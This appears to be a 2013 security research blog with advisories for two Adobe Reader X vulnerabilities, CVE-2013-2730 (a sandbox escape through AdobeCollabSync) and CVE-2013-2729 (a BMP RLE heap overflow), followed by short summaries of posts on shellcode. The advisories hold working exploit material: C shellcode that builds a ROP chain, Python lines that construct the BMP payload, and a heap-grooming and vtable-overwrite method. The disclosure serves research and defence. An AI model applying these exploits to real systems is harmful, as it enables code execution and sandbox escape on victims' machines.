Wednesday, May 15, 2013

Adobe Reader X Sandbox bypass - CVE-2013-2730

AdobeCollabSync stack overflow

Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product.
  • Title: AdobeCollabSync stack overflow
  • CVE Name: CVE-2013-2730
  • Permalink: http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html
  • Date published: 2013-05-15
  • Date of last update: 2013-05-15
  • Class: Sandbox bypass
One of the Adobe Reader X companion programs, AdobeCollabSync.exe, fails to validate the input when reading a registry value. This value can be altered from the low integrity sandboxed process. Arbitrary code execution in the context of AdobeCollabSync.exe process is proved possible after controlling certain registry key value. Quick links: White paper, Exploit and a PoC as injectable Dll.

Vulnerability Details

The issue is a sandbox bypass that enables a privilege escalation from the sandboxed low integrity process (target) to a medium integrity process (AdobeCollabSync.exe). A registry value writable from the target is read by AdobeCollabSync.exe into a stack based buffer without checking its size. A normal stack overflow occur and the control flow of a medium integrity process is controlled.

The Sandbox

Adobe reader X uses a slightly modified version of the Google Chrome sandbox. The Sandbox operates at process-level granularity. Anything that has to be sandboxed needs to live on a separate process. The minimal sandbox configuration has two processes: one that is a privileged controller known as the broker, and one or more sandboxed processes known as the target. At the beginning the main Reader process called the broker spawns a less privilege process called the target. The target can do few things by itself, so it is forced to relay most accesses to the operating system resources through the broker process using IPC. The broker receives these requests to access the different resources over IPC and then checks if the request passes a configured security policy. This policy is a set of rules established at the process start. More details on Adobe Reader Sandbox rules and exceptions can be found in this post.

The rule

The one we are interested follows:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\* rw REGISTRY
Basically this enables the target process to read and write any value down the specified key. Now we need a process with higher integrity that reads it.

Review Tracker

The Review Tracker shipped with Adobe reader lets you manage document reviews. From this window, you can see who’s joined a shared review and how many comments they've published. You can also rejoin a review, access comment servers used in reviews, and email participants. This functionality is implemented using a companion program which is spawn when the tracker is open from the gui. You can access the Tracker from the Reader menu: View/Tracker... . All the gui parts run in the target process so when you click the menu item the broker is asked to spawn a AdobeCollabSync.exe process. If an attacker is able to run arbitrary code on behalf of the target process is also able to spawn as many AdobeCollabSync.exe process as needed. This is done using the function acrord_exe+0x18da0 in the target (that's version 10.1.4).

On the AdobeCollabSync.exe process

Consider the trace of AdobeCollabSync.exe on the sysinternals process monitor when it runs normally.
It shows that AdobeCollabSync.exe reads one of the registry keys that are writable by the target process. For example the registry key:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\DBRecoveryOptions\bDeleteDB
Now, the functions that read the registry value are vulnerable to a stack based overflow. A screenshot of a process monitor trace follows:

Vulnerable function

The vulnerable function can be found at AdobeCollabSync.exe+9C1F0. It uses RegQueryValueRegExW to read values from the registry. The cbData parameter should indicate the size of the destination buffer. Because it is left uninitialized, RegQueryValueRegExW can write any number of bytes to the stack buffer of size 4 bytes. A stripped pseudo code of the bug is shown in the following listing.
  1. int
  2. READKEY_49C1F0(void *this, char *name, int a3) {
  3.   void * namew;
  4.   int cbData, Type, Data;
  5.   namew = AnsiToUnicode(concat("b", name) );
  6.   if ( !RegQueryValueExW(*((HKEY *)this_ + 2),
  7.                             (LPCWSTR)namew,
  8.                             0,
  9.                             &Type,
  10.                             (LPBYTE)&Data,
  11.                             &cbData) && Type == 4 ){
  12.       ...   // everything ok
  13.       return Data!=0;
  14.     }
  15.   ...  //error
  16.   return a3;
  17. }

Exploitation details

The target (sandboxed process) can write arbitrary amount of data into the selected registry key and spawn any number of AdobeCollabSync.exe processes. A fresh AdobeCollabSync.exe process will read the crafted registry value unchecked into the stack producing an of-the-book stack overflow with no /GS cookie. The only constraint is there is a pointer in upper stack frame that is periodically used by a thread. This stack offset must be left unaltered. Final stack size for overflowing is about 0x500 bytes. This is enough to virtualallocate a new RXW memory and ROP a small code into it. Then a second stage shellcode can be gathered from another registry value.

ASLR

There are no fixed dlls in AdobeCollabSync.exe. Hence an attacker already on the system may learn the address of ntll and assume that the newly created process will reuse the same address. This won’t hold with BIB.dll and AXE8SharedExpad.dll. The address of VirtualProtect as well as the addresses of all other system dlls are shared among different processes. The only problem is to find the ROP gadgets that work in any version of windows. But as the attacker already has access to a copy of ntdll.dll, the gadgets may be searched at runtime and the ROP built accordingly. We use 3 simple gadgets. More can be added to make the search more robust.
HEXAssembler
C3RET
89 0f C3 MOV dword ptr [EDI], ECX
RET
5F C3POP EDI
RET
59 C3 POP ECX RET
Next there is the shellcode that must run in the target process. It searches for the gadgets, builds the ROP, writes to the selected registry key value and trigger the execution of AdobeCollabSync.exe.
  1. int
  2. shellcode_main(GetModuleHandle_t GetModuleHandle, GetProcAddress_t GetProcAddress){
  3.     int i,j,k;
  4.     HMODULE acrord_exe = GetModuleHandle("AcroRd32.exe");
  5.     DoCollab_t docollab = (DoCollab_t)acrord_exe+0x18da0;
  6.     HMODULE ntdll = GetModuleHandle("ntdll");
  7.     HMODULE kernel32 = GetModuleHandle("kernel32");
  8.     VirtualAlloc_t VirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
  9.     RegCreateKeyExA_t RegCreateKeyExA = GetProcAddress(kernel32,"RegCreateKeyExA");
  10.     RegSetValueExA_t RegSetValueExA = GetProcAddress(kernel32,"RegSetValueExA");
  11.     RegCloseKey_t RegCloseKey = GetProcAddress(kernel32,"RegCloseKey");
  12.     CloseHandle_t CloseHandle = GetProcAddress(kernel32,"CloseHandle");
  13.     ExitProcess_t ExitProcess = GetProcAddress(kernel32,"ExitProcess");
  14.     RegGetValueA_t RegGetValueA = GetProcAddress(kernel32,"RegGetValueA");
  15.     RegDeleteValueA_t RegDeleteValueA = GetProcAddress(kernel32,"RegDeleteValueA");
  16.     Sleep_t Sleep = GetProcAddress(kernel32,"Sleep");
  17.     union{
  18.          char c[0x1000];
  19.          int  i[0];
  20.     } buffer;
  21.     HMODULE collab_proc;
  22.     HANDLE key = 0;
  23.     // Search for gadgets in ntdll
  24.     unsigned char* gadget_ret;
  25.     unsigned char* gadget_mov_dword_edi_ecx_ret;
  26.     unsigned char* gadget_pop_edi_ret;
  27.     unsigned char* gadget_pop_ecx_ret;
  28.     //Search gadget MOV DWORD [EDI], ECX; RET
  29.     for(gadget_mov_dword_edi_ecx_ret = (unsigned char*)ntdll+0x10000;
  30.         gadget_mov_dword_edi_ecx_ret < (unsigned char*)ntdll+0xd6000;
  31.         gadget_mov_dword_edi_ecx_ret++){
  32.         if ( gadget_mov_dword_edi_ecx_ret[0] == 0x89 &&
  33.              gadget_mov_dword_edi_ecx_ret[1] == 0x0f &&
  34.              gadget_mov_dword_edi_ecx_ret[2] == 0xc3)
  35.             break;
  36.     }
  37.     //Search gadget RET
  38.     gadget_ret = gadget_mov_dword_edi_ecx_ret+2;
  39.     //Search gadget POP EDI; RET
  40.     for(gadget_pop_edi_ret = ntdll+0x10000;
  41.         gadget_pop_edi_ret < ntdll+0xd6000;
  42.         gadget_pop_edi_ret++){
  43.         if ( gadget_pop_edi_ret[0] == 0x5F &&
  44.              gadget_pop_edi_ret[1] == 0xc3)
  45.             break;
  46.     }
  47.     //Search gadget POP ECX; RET
  48.     for(gadget_pop_ecx_ret = ntdll+0x10000;
  49.         gadget_pop_ecx_ret < ntdll+0xd6000;
  50.         gadget_pop_ecx_ret++){
  51.         if ( gadget_pop_ecx_ret[0] == 0x59 &&
  52.              gadget_pop_ecx_ret[1] == 0xc3)
  53.             break;
  54.     }
  55.     {
  56.      int * mem = MEMBASE;
  57.      unsigned buffer_used;
  58.      //Make rop using BIB.dll adress (same in all proc)
  59.      i=0;
  60.      buffer.i[i++]=0x58000000+i;
  61.      buffer.i[i++]=0x58000000+i;
  62.      buffer.i[i++]=0;              //Must be zero
  63.      buffer.i[i++]=0x58000000+i;
  64.      //4
  65.      buffer.i[i++]=0x58000000+i;
  66.      buffer.i[i++]=0x58000000+i;
  67.      buffer.i[i++]=0x58000000+i;
  68.      buffer.i[i++]=gadget_ret; //<Starts here
  69.      //8
  70.      buffer.i[i++]=0x58000000+i;
  71.      buffer.i[i++]=0x58000000+i;
  72.      buffer.i[i++]=VirtualAlloc;
  73.      buffer.i[i++]=gadget_ret; //RET1;
  74.      buffer.i[i++]=mem;        // lpAddress,
  75.      buffer.i[i++]=0x00010000; // SIZE_T dwSize
  76.      buffer.i[i++]=0x00003000; // DWORD flAllocationType
  77.      buffer.i[i++]=0x00000040; // flProtect
  78.      k=0;
  79.      for(j=0;j&lt;sizeof(regkey)/4+1;j+=1){
  80.          buffer.i[i++]=gadget_pop_edi_ret;
  81.          buffer.i[i++]=((int*)mem)+k++;
  82.          buffer.i[i++]=gadget_pop_ecx_ret;
  83.          buffer.i[i++]=((int*)regkey)[j];
  84.          buffer.i[i++]=gadget_mov_dword_edi_ecx_ret;
  85.      }
  86.      buffer.i[i++]=RegGetValueA;
  87.      buffer.i[i++]=(void*)mem+0x1000;           //RET
  88.      buffer.i[i++]=HKEY_CURRENT_USER;    //hkey
  89.      buffer.i[i++]=mem;                  //lpSubKey
  90.      buffer.i[i++]=(void*)mem+0x3a;             //lpValue
  91.      buffer.i[i++]=RRF_RT_ANY;           //dwFlags
  92.      buffer.i[i++]=0;                    //pdwType
  93.      buffer.i[i++]=(void*)mem+0x1000;           //pvData
  94.      buffer.i[i++]=(void*)mem+0x44;               //pcbData
  95.      buffer_used = i*sizeof(buffer.i[i]);
  96.      //Set up vulnerable registry key
  97.      RegCreateKeyExA(HKEY_CURRENT_USER,
  98.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  99.                      0 /*reserved*/,
  100.                      NULL /*lpclass*/,
  101.                      REG_OPTION_NON_VOLATILE /*Options*/,
  102.                      KEY_ALL_ACCESS /*samDesired*/,
  103.                      NULL /*SecurityAttribs*/,
  104.                      &key,
  105.                      NULL); //if not ERROR_SUCCES bail out
  106.      RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,buffer_used);
  107.      RegSetValueExA(key,"shellcode", 0, REG_BINARY,stage2,sizeof(stage2));
  108.      RegCloseKey(key);
  109.      // Tell the broker to execute AdobeCollabSync
  110.      collab_proc = docollab(0xbc);
  111.      // Sleep
  112.      Sleep(1000);
  113.      // Close collab_proc
  114.      CloseHandle(collab_proc);
  115.      // Clean registry
  116.      // RegSetValue
  117.      RegCreateKeyExA(HKEY_CURRENT_USER,
  118.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  119.                      0 /*reserved*/,
  120.                      NULL /*lpclass*/,
  121.                      REG_OPTION_NON_VOLATILE /*Options*/,
  122.                      KEY_ALL_ACCESS /*samDesired*/,
  123.                      NULL /*SecurityAttribs*/,
  124.                      &key,
  125.                      NULL); //if not ERROR_SUCCES bail out
  126.      //RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,0x4);
  127.      RegDeleteValueA(key, "shellcode");
  128.      RegDeleteValueA(key, "bDeleteDB");
  129.      RegCloseKey(key);
  130.      // Sleep
  131.      Sleep(1000);
  132.      // TODO: check success
  133.      ExitProcess(0);
  134.      //retry or spawn other target?
  135.     }
  136. }
To compile and pack this C code as an opaque executable chunk of memory (or shellcode) apply this. Using the awesome Stephen Fewer's ReflectiveDLLInjection project we can easly compile an injectable dll with this shellcode as payload. You can download a ready to use PoC dll from here. Note that this shellcode expects to get the address of GetModuleHandle and GetProcAddress functions as parameters (this are typically already known at ROP stage). Injecting this dll into the low integrity reader process will escape the sandbox and spawn a calculator. Next couple of figures are screenshots of an example run of the injected dll. Adobe reader runs a medium and a low integrity process:
Shellcode dll injected into the low integrity process:
Medium integrity calculator spawn:

Tuesday, May 14, 2013

Adobe Reader BMP/RLE heap corruption - CVE-2013-2729

Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product.
  • Title: Adobe Reader BMP/RLE heap corruption
  • CVE Name: CVE-2013-2729
  • Permalink: http://blog.binamuse.com/2013/05/readerbmprle.html
  • Date published: 2013-05-14
  • Date of last update: 2013-05-14
  • Class: Client side Integer Overflow
Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious bmp image triggers a heap overflow. Quick links: White paper, Exploit generator in python and PoC.pdf for Reader 10.1.4.

Vulnerability Details

The issue presented here is related to the parsing of a BMP file compressed with RLE8. The bug is triggered when Adobe Reader parses a BMP RLE encoded file embedded in an interactive PDF form. The dll responsible of handling the embedded XFA interactive forms(and the BMP) is the AcroForm.api plugin. So in order to get to the bug we first need to reach the XFA code.

PDF Forms

A PDF file can contain interactive Forms in two flavors:
  • The legacy, Forms Data Format (FDF or AcroForms)
  • The XML based, XML Forms Architecture (XFA)
There is support for different XFA Specifications since Acrobat 8.0 (ref. http://blogs.adobe.com/livecycle/2011/09/compatibility-matrix-for-xfa.html).
XFA VersionAcrobat Version
2.6Acrobat 8.1/Acrobat 8.11
2.7Acrobat 8.1
2.8Acrobat 9.0, Acrobat 9 ALang features
3.0Acrobat 9.1
3.3Acrobat 10.0
We will focus on last XFA specification available.

XFA, The XML Forms Architecture

The XML Forms Architecture (XFA) provides a template-based grammar and a set of processing rules that allow business to build interactive forms. At its simplest, a template-based grammar defines fields in which a user provides data. Among others it defines buttons, textfields, choicelists, images and a scripting API to validate the data and interact. It supports Javascript, XSLT an FormCalc as scripting language. A small XFA containing an image looks like this:
<template   xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/">  
   <subform name="form1" layout="tb" locale="en_US" restoreState="auto">
      <pageSet>
         <pageArea name="Page1" id="Page1">
            <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
            <medium stock="default" short="612pt" long="792pt"/>
            </pageArea>
         </pageSet>
      <subform w="576pt" h="756pt">
      <field name="ImageField" >
        <ui>
            <imageEdit data="embed"/>
        </ui>
        <value>
            <image> AAAAA.. AAAAAA</image>
        </value>
      </field>
      </subform>
   </subform>
</template>
An XFA Form can be embedded in a common pdf stream and be rendered by all modern versions of Adobe Reader. The PDF catalog must contain the /NeedsRendering, /Extensions and /AcroForm fields. /AcroForm field must point to the form dictionary. Something like this..
3 0 obj
    << /Length 12345 >>
    stream
        XFA....
    endsream
2 0 obj
    << /XFA 3 0 R >>
endobj
1 0 obj
    <<  /Type /Catalog
        /NeedsRendering true
        /AcroForm 2 0 R
        /Extensions <<
                      /ADBE <<
                              /BaseVersion /1.7
                              /ExtensionLevel 3
                            >>
                    >>
        ...
    >>
endobj
Graphically a PDF containing an XFA form has this structure:
At this point we can build a PDF containing a XFA Form containing an image. Let's see the BMP bug.

BMP - Run length encoding

The BMP can be compressed in two modes, absolute mode and RLE mode. Both modes can occur anywhere in a single bitmap. Ref. http://www.fileformat.info/format/bmp/corion-rle8.htm The RLE mode is a simple RLE mechanism, the first byte contains the count, the second byte the pixel to be replicated. If the count byte is 0, the second byte is a special, like EOL or delta. In absolute mode, the second byte contains the number of bytes to be copied literally. Each absolute run must be word-aligned that means you might have to add an additional padding byte which is not included in the count. After an absolute run, RLE compression continues.
Second byteMeaning
0End of line
1End of bitmap
2Delta. The next two bytes are the horizontal
and vertical offsets from the current position
to the next pixel.
3-255Switch to absolute mode

Bug pseudocode

Consider the followind C listing. This pseudo code is derived from the function responsible of expanding an RLE encoded BMP, found in AcroForm.api. The functions feof(), fread() and malloc() are the usual ones. The stream is a file from where it has already read the complete BMP header, including the height and the width. The main purpose of function is to expand the RLE encoded data. First it allocates enough memory to hold the complete image. Then it reads one byte to decide between one of the two modes: RLE or Absolute. In the RLE mode it repeats the next byte a number of times. In the Absolute mode there are more options implemented as a switch:
  • 0. End of line, fix the xpos/ypos indexes to point to the start of the next line.
  • 1. End of file, finish processing.
  • 2. Delta, moves the write pointer (e.g. to skip blank regions).
  • d. Literal data, copies data literally from the file.
Prove yourself and try to find the bug here:
  1. char* rle(FILE* stream, unsigned height, unsigned width){
  2.   assert(height < 4096 && height < 4096);
  3.   char * line;
  4.   char aux;
  5.   unsigned count;
  6.   struct {
  7.      unsigned char reps;
  8.      unsigned char value;
  9.   }cmd;
  10.   unsigned char xdelta, ydelta;
  11.   unsigned xpos = 0;
  12.   unsigned ypos = height - 1;
  13.   char * texture = malloc(height*width); //Safe mult!
  14.   assert(texture);
  15.   while ( !feof(stream)) {
  16.     fread(&cmd, 1, 2, stream);
  17.     if ( cmd.reps ) {
  18.       assert ( ypos < height && cmd.reps + xpos <= width );
  19.       for(count = 0; count<cmd.reps; count++) {   //RLE Mode, repeat the value
  20.           line = texture+(ypos*width);
  21.           line[xpos++] = cmd.value;
  22.         }
  23.     }
  24.     else {  // if rep is zero then value is a command
  25.         switch(cmd.value){
  26.             case 0:                          //End of line
  27.                 ypos -= 1;
  28.                 xpos = 0;
  29.                 break;
  30.             case 1:                          //End of bitmap. Done!
  31.                 return texture;
  32.             case 2:                          //Delta case, move bmp pointer
  33.                 read(&xdelta, 1, 1, stream); // read one byte
  34.                 read(&ydelta, 1, 1, stream); // read one byte
  35.                 xpos += xdelta;
  36.                 ypos -= ydelta;
  37.                 break;
  38.             default:                         // literal case
  39.                 assert ( ypos < height && cmd.value + xpos <= width );
  40.                 for(count = 0;count < cmd.value; count++){
  41.                     fread(&aux, 1, 1, stream);
  42.                     line = texture+(width*ypos);
  43.                     line[xpos++] = aux;
  44.                   }
  45.                 if ( cmd.value & 1 )             // padding
  46.                   fread(&aux, 1, 1, stream);
  47.         }//switch(cmd.value)
  48.     }//if (cmd.reps)
  49.   }//while(!feof(stream))
  50.   return texture;
  51. }
As you probably found out, there are no asserts at the "delta" case (line 32). So we could move the destination pointers arbitrarily, even outside the limits of the texture buffer. However, there are boundary checks when you try to actually write something to the texture buffer as in the line 39.
Note that this leaves a corner case in which a heap overflow condition can be triggered. Suppose we repeatedly send delta commands advancing the xpos index. And we continue to do so without trying to write anything until xpos gets really big, for example 0xffffff00. To accomplish this, the BMP should contain 0xffffff00/0xff delta commands each one incrementing the xpos in 0xff like this:
  1. bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff)
Then after padding, we pass a literal command to actually write up to 0xff bytes of data directly from the file to the pointed address. But as xpos+len(payload) overflows the 32bits integer representation, the boundary assertion holds and the overflow is possible.
  1. bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00'
  2. bmp += '\x00'+chr(len(payload))+payload
Summing up, using this bug we can overwrite up to 256 bytes immediately before the texture buffer.

Exploitation details

The texture is allocated in the heap using the width and height found in the BMP header. So we control the size of the overflow-able allocation and we need to choose it wisely to overwrite something useful. But first to increase reliability it is better to prepare the heap with a sequence of allocations. We use the well known javascript method for allocating and freeing heap chunks. The exploitation script would be like this:
  • allocate 1000 0x12C chunks of controlled data. Very likely triggering a LFH of size 0x12C (0x12 (18)consecutive allocations will guarantee LFH enabled for a given SIZE).
  • free one every 10 chunks of the previously allocated chunks, generating several holes separated 10 chunks from each other.
It has been found that a structure of size 0x12C bytes is used after the decoding of all images. It contains pointers to the specific vtables and functions. The goal is to read and write this structure from javascript.

Leak an adress to javascript, read the struct

To achieve our goal, we first need to leak some pointer to the javascript interpreter so we could bypass ASLR and DEP. In order to learn the address of some dlls we need to be able to read an object structure from javascript. To get this we'll load a broken BMP image corrupting an LFH chunk header thus trick the allocator into believing that an alive javascript string memory is free.
  • Load a broken BMP with dimensions {1 , 0x12C}, its pixel texture (of size 0x12C) will be allocated in one of the prepared holes. The allocator will most likely assign one of the previously prepared holes to it.
  • An exception in the RLE decoder will delete all the used structures. In particular, the image texture chunk is freed. As its header is corrupted, this deletion will in fact delete the previous chunk and will leave the texture chunk alone. This wrongly deleted chunk is still used by the javascript interpreter. One of the string object leaving in the javascript interpreter still holds a pointer to the recently freed chunk.
    If you can overflow into a chunk that will be freed, the SegmentOffset in the heap chunk header can be used to point to another valid _HEAP_ENTRY. This could lead to controlling data that was previously allocated. See https://www.lateralsecurity.com/downloads/hawkes_ruxcon-nov-2008.pdf
    At this point we have a javascript string using memory that is known to be free. An allocation of 0x12C will probably be assigned to the same memory overlapping the javascript string. We aim for a javascript string to share the same memory with an object containing vtables so we can learn the location of some dll from the js interpreter. As we have chosen the chunk size carefully, this happens automatically and an interesting object gets allocated in the memory actually pointed by one of the javascript strings
  • Now lets' iterate over all javascript strings looking for the one that has changed
    1. for (i=0; i < spray.size; i+=1)
    2.    if ( spray.x[i] != null  &&
    3.        spray.x[i][0] != "\u5858"){
    4.    ...
    5.    }
  • If found, parse its contents and discover the address of AcroRd32.dll
    1. acro = (( util.unpackAt(spray.x[i], 14) >> 16) - offset) << 16;
    2. break;
At this point we have pinpointed the exact string index that shares the memory with an imgstruct and leaked the address of AcroRd.dll to the javascript interpreter.

Overwrite the struct

In javascript, strings are simply not writable. You need to free the old string and make a new copy of the string with the modifications you like. Usually, if the new string is the same size as the old one it will be allocated in the same spot. So to change the object contents we need to free the selected javascript string and realloc another in the same memory with different content.
  • Free the selected javascript string (which shares memory with the object)
  • Build a new 0x12C length string with the desired content using the leaked addresses, and spray it a bit so it is eventually allocated over the desired object
  • Allocate several new strings with the new content.
The object is most likely replaced by a new one pointing to a ROP sequence.

Controlling the execution flow

Calling the doc.close() function from the js interpreter will trigger the unload of all loaded XFA images and the use of the overwritten vtable Thus the replaced pointers in the object are used once more in the destructors and the control flow is captured. One last step involves to heap spray a pointer bed at a known address. A more specific technique(provided upon request) in which other heap addresses are leaked to the interpreter doesn't need this step.

Sunday, January 13, 2013

About Shellcodes in C

This is a follow up of our previous introductory post about shellcodes. Here we aim for coding more complex shellcodes directly in C. We'll mostly use default tools like gcc and as, at the end also a small python script to reorder and pack things. We'll play with linux but the concepts and scripts posted here can also be used to generate Windows shellcode (both 32 and 64 bits).



Wednesday, January 9, 2013

A micro windows crash catcher in python


In this article we describe how to write a minimalistic Windows debugging loop in python. Modern applications usually spawn more than one process and the bugs in them generate different type of crashes. Our minimalistic debugger shall detect "any" crash condition of a process or process tree. Be aware that our aim is purely educational and more mature and complete options exist. If you need a full fledged debugger in python you should check winappdbg.



Tuesday, January 8, 2013

About shellcodes

In this post we have documented a beginners introduction to shellcode writing. We go from zero to a super simple shellcode using tools you may find already installed in any serious operating system. If you are looking for a digested and more mature way of generating shellcode you should check InlineEggMOSDEF or impurity first.

Monday, January 7, 2013

Uncover Adobe Reader Sandbox Exceptions

Since version 10 Adobe Reader has included a flavor of the Chrome sandbox. This technology is much better explained here, and in the 4 Adobe specific posts: part1, part2, part3 and part4. But in very few words it works dividing responsibilities in at least 2 processes; the broker and a target. The target process is a low integrity process that basically can't access any resources by itself. To access almost any operating system entity it must relay on the broker process. 
The target simply ask the broker via IPC to do certain system calls for him. The broker then checks if the request comply with a preset list of rules and eventually gives the result back to the target. The set of rules are configured at the beginning. In this post we'll inspect this list for the different Adobe Reader versions. We'll build a python script that programatically generates a process monitor filter file for all the different Reader versions.  Then We'll show how to further inspect sensitive interactions between the target and other higher integrity processes using the generated filters.